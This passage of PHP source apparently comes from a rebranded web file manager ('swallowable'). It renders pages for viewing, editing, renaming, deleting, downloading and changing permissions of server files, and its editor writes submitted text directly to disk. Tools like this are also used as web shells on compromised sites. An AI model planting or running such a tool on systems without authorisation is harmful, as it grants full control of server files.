<select class="form-select" id="js-language" name="js-language">
<?php
function getSelected($l) {
global $lang;
return ($lang == $l) ? 'selected' : '';
}
foreach ($lang_list as $k => $v) {
echo "<option value='$k' ".getSelected($k).">$v</option>";
}
?>
</select>
</div>
</div>
<div class="mt-3 mb-3 row ">
<label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
<div class="col-sm-5">
<select class="form-select w-100" id="js-3-0" name="js-theme-3">
<option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
<option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
</select>
</div>
</div>
<div class="mb-3 row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['help'])) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="." target="_blank" class="app-v-title"> swallowable <?php echo VERSION; ?></a></h3></p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
<?php if(!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
</form>
<textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['view'])) {
$file = $_GET['view'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize_raw = fm_get_size($file_path);
$filesize = fm_get_filesize($filesize_raw);
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = 'File';
$filenames = false; // for zip
$content = ''; // for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
$is_onlineViewer = true;
}
elseif ($ext == 'zip' || $ext == 'tar') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
<p class="break-word">
<?php $display_path = fm_get_display_path($file_path); ?>
<strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
<strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
<strong>MIME-type:</strong> <?php echo $mime_type ?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) and $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
<?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
<?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
<?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
<?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<div class="d-flex align-items-center mb-3">
<form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button>
</form>
<b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
</form>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<input type="hidden" name="tofolder" value="1">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
</form>
<?php
}
if ($is_text and !FM_READONLY) {
?>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
</a></b>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
</a></b>
<?php } ?>
<b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
</div>
<?php
if($is_onlineViewer) {
if($online_viewer == 'google') {
echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
} else if($online_viewer == 'microsoft') {
echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '<code class="maxheight">';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . fanco($fn['name']) . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo '</code>';
} else {
echo '<p>'.lng('Error while fetching archive info').'</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
}
} elseif ($is_audio) {
// Audio content
echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
// Video content
echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fanco($content) . '</pre>';
}
echo $content;
}
?>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
$file = $_GET['edit'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$editFile = ' : <i><b>'. $file. '</b></i>';
header('X-XSS-Protection:0');
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(lng('File Saved Successfully'));
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = ''; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
<select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
<select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
</div>
<?php } ?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
<a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
<a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
<?php if ($is_text) { ?>
<?php if ($isNormalEditor) { ?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php } else { ?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
</button>
<?php } ?>
<?php } ?>
</div>
</div>
<?php
if ($is_text and $isNormalEditor) {
echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<?php echo lng('ChangePermissions') ?>
</h6>
<div class="card-body">
<p class="card-text">
<?php $display_path = fm_get_display_path($file_path); ?>
<?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">
<table class="table compact-table <?php echo fm_get_theme(); ?>">
<tr>
<td></td>
<td><b><?php echo lng('Owner') ?></b></td>
<td><b><?php echo lng('Group') ?></b></td>
<td><b><?php echo lng('Other') ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
</tr>
</table>
<p>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
<thead class="thead-white">
<tr>
<?php if (!FM_READONLY): ?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php endif; ?>
<th><?php echo lng('Name') ?></th>
<th><?php echo lng('Size') ?></th>
<th><?php echo lng('Modified') ?></th>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<th><?php echo lng('Perms') ?></th>
<th><?php echo lng('Owner') ?></th><?php endif; ?>
<th><?php echo lng('Actions') ?></th>
</tr>
</thead>
<?php
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?>
<td class="nosort"></td><?php endif; ?>
<td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0" data-order></td>
<td class="border-0" data-order></td>
<td class="border-0"></td>
<?php if (!FM_IS_WIN and !$hide_Cols) { ?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php } ?>
</tr>
<?php
}
$uu = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = "";
$filesize = lng('Folder');
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $uu ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
<div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
</td>
<td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
<?php echo $filesize; ?>
</td>
<td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$uu++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = fm_get_size($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $ik ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fanco($f) ?>>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
<?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
<a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
<?php else: ?>
<a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
<?php endif; ?>
<i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a>
<?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
</div>
</td>
<td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
<?php echo $filesize; ?>
</span></td>
<td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
<?php endif; ?>
<td class="inline-actions">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
<a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php echo lng('CopyTo') ?>..."
href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) and empty($files)) { ?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td></td><?php endif; ?>
<td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
</tr>
</tfoot>
<?php
} else { ?>
<tfoot>
<tr>
<td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
<?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
<?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
<?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
</td>
</tr>
</tfoot>
<?php } ?>
</table>
</div>
<div class="row">
<?php if (!FM_READONLY): ?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
